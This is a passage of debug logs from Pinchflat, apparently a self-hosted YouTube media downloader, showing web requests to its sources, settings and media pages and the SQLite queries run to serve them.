s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:41.307 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=1769.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:53:41.307 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=1770.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:53:41.309 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1479.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:53:41.309 [debug] QUERY OK source="media_items" db=0.3ms idle=478.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:53:41.310 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:41.310 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:41.310 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:41.311 [debug] QUERY OK source="tasks" db=0.2ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:53:41.312 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:53:41.312 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:53:41.313 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:53:41.316 [debug] QUERY OK source="media_items" db=1.2ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:53:41.317 [debug] QUERY OK source="media_items" db=1.5ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:53:41.318 [debug] QUERY OK source="sources" db=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:41.319 [info] Sent 200 in 15ms 04:53:42.017 [info] GET /media_profiles 04:53:42.018 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 04:53:42.019 [debug] QUERY OK source="media_profiles" db=0.7ms idle=705.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 04:53:42.020 [debug] QUERY OK source="settings" db=0.4ms idle=704.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.021 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=703.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.022 [debug] QUERY OK source="settings" db=0.1ms idle=704.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.023 [info] Sent 200 in 6ms 04:53:42.187 [info] GET /settings 04:53:42.187 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 04:53:42.188 [debug] QUERY OK source="settings" db=0.4ms idle=354.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.189 [debug] QUERY OK source="settings" db=0.3ms idle=169.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.190 [debug] QUERY OK source="settings" db=0.3ms idle=169.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.192 [debug] QUERY OK source="settings" db=0.3ms idle=169.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.193 [info] Sent 200 in 6ms 04:53:42.279 [info] GET /app_info 04:53:42.279 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 04:53:42.281 [debug] QUERY OK source="settings" db=0.3ms idle=257.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.281 [debug] QUERY OK source="settings" db=0.3ms idle=92.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.282 [info] GET /sources 04:53:42.282 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 04:53:42.283 [debug] QUERY OK source="settings" db=0.3ms idle=93.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.283 [debug] QUERY OK source="settings" db=0.3ms idle=92.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.284 [debug] QUERY OK source="settings" db=0.5ms idle=91.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.285 [debug] QUERY OK source="settings" db=0.4ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.285 [debug] QUERY OK source="settings" db=0.4ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.286 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.286 [info] Sent 200 in 6ms 04:53:42.286 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.286 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.288 [info] GET /sources/31/media/141520 04:53:42.288 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 04:53:42.288 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 04:53:42.288 [debug] QUERY OK source="tasks" db=0.1ms idle=2.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 04:53:42.289 [debug] QUERY OK source="sources" db=0.2ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.289 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=2.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 04:53:42.289 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.289 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.290 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.290 [debug] QUERY OK source="sources" db=3.2ms idle=2.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 04:53:42.291 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.293 [info] Sent 200 in 5ms 04:53:42.294 [debug] QUERY OK source="sources" db=3.3ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 04:53:42.296 [info] Sent 200 in 14ms 04:53:42.298 [info] GET /sources/31 04:53:42.298 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 04:53:42.298 [info] GET /sources/30/media/141479 04:53:42.298 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 04:53:42.298 [debug] QUERY OK source="sources" db=0.1ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.298 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 04:53:42.299 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.299 [debug] QUERY OK source="tasks" db=0.3ms idle=7.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 04:53:42.299 [debug] QUERY OK source="tasks" db=0.4ms idle=0.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 04:53:42.299 [debug] QUERY OK source="sources" db=0.8ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:42.300 [debug] QUERY OK source="oban_jobs" db=0.2ms 